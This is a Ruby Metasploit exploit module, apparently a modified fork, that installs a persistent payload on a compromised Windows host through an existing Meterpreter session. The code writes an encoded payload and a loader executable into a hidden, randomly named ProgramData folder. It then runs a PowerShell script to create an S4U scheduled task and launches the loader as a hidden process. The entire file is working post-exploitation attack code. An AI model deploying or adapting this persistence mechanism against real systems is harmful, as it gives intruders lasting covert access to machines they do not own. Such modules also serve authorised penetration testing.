##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##




class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Common
  include Msf::Post::File


  def initialize(info = {})
    super(update_info(info,
                      'Name'           => 'Windows Manage User Level Persistent Payload Installer',
                      'Description'    => %q{
        Creates a scheduled task that will run using service-for-user (S4U).
        This allows the scheduled task to run even as an unprivileged user
        that is not logged into the device. This will result in lower security
        context, allowing access to local resources only. The module
        requires 'Logon as a batch job' permissions (SeBatchLogonRight).
      },
                      'License'        => MSF_LICENSE,
                      'Author'         =>
                              [
                                      'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
                                      'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
                              ],
                      'Platform'       => 'win',
                      'SessionTypes'   => ['meterpreter'],
                      'Targets'        => [['Windows', {}]],
                      'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post
                      'DefaultTarget' => 0,
                      'References'    => [
                              ['URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'],
                              ['URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/']
                      ]
          ))

    register_options(
            [
                    OptInt.new('TIMEOUT', [false, 'Number of seconds timeout for script', 10]),
            ])


  end

  def exploit
    unless session.type == "meterpreter"
      pub_json_result(false,
                      'Unsupport shell type',
                      nil,
                      self.uuid)
      return
    end


    if datastore['PAYLOAD'].include?(ARCH_X64)
      data_exe_file = "loader_x64.exe"
    else
      data_exe_file = "loader_x86.exe"
    end

    vprint_status("Running module against #{sysinfo['Computer']}")

    @loader_file    = "loader.exe"
    @shellcode_file = "loader.ini"

    @storedir = create_store_rand_dir()
    if @storedir == nil
      pub_json_result(false,
                      'Create rand dir failed',
                      nil,
                      self.uuid)
      return
    end

    buf            = create_payload
    shellcode_path = @storedir + "\\" + @shellcode_file
    write_file_to_target(shellcode_path, buf)

    @victim_path = @storedir + "\\" + @loader_file
    bin          = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_dll', data_exe_file))
    write_file_to_target(@victim_path, bin)

    unless session.fs.file.exist? shellcode_path and session.fs.file.exist? @victim_path
      pub_json_result(false,
                      'write loader to storedir failed,maybe permission or AV',
                      nil,
                      self.uuid)
      return
    end


    uid          = client.sys.config.getuid
    domain, user = uid.split('\\')
    session.load_powershell
    if session.ext.aliases.has_key?('powershell')
      ps_ext = session.ext.aliases['powershell']
      opts = {file: File.join(Msf::Config.install_root, "scripts", "ps", "Invoke-S4U-persistence.ps1")}
      begin
        loadResult = ps_ext.import_file(opts, datastore['TIMEOUT'])
      rescue ::Timeout::Error, Rex::TimeoutError
        pub_json_result(false,
                        'run script timeout,please set timeout bigger',
                        nil,
                        self.uuid)
        return
      end

      code = {code: "Invoke-S4U-persistence -exePath #{@victim_path} -sessionUserID #{user}"}
      begin
        psresult = ps_ext.execute_string(code, datastore['TIMEOUT'])
      rescue ::Timeout::Error, Rex::TimeoutError
        pub_json_result(false,
                        'run script timeout,please set timeout bigger',
                        nil,
                        self.uuid)
        return
      end
      # run @victim_path for test
      proc = client.sys.process.execute(@victim_path, nil, {
              'Hidden'      => true,
              'Channelized' => false,
              'Interactive' => false,
              'Suspended' => false,
      })
      pub_json_result(true,
                      nil,
                      {psresult: psresult, victim_path: @victim_path},
                      self.uuid)
      return

    else
      pub_json_result(false,
                      'powershell extensions load failed',
                      nil,
                      self.uuid)
      return
    end

  end


  def create_payload
    p = payload.encoded
    Msf::Simple::Buffer.transform(p, 'hex', 'buf')
  end

  def create_store_rand_dir()
    dirname     = Rex::Text.rand_text_alpha(10)
    fulldirname = session.sys.config.getenv('ProgramData') + "\\" + dirname
    session.fs.dir.mkdir(fulldirname)
    if session.fs.file.exist? fulldirname
      vprint_good("create storedir : #{fulldirname}")
      return fulldirname
    else
      vprint_error("create storedir failed : #{fulldirname}")
      return nil
    end
  end

  def write_file_to_target(filepath, filedata)
    fd = session.fs.file.new(filepath, "wb")
    fd.write(filedata)
    fd.close
  end


end
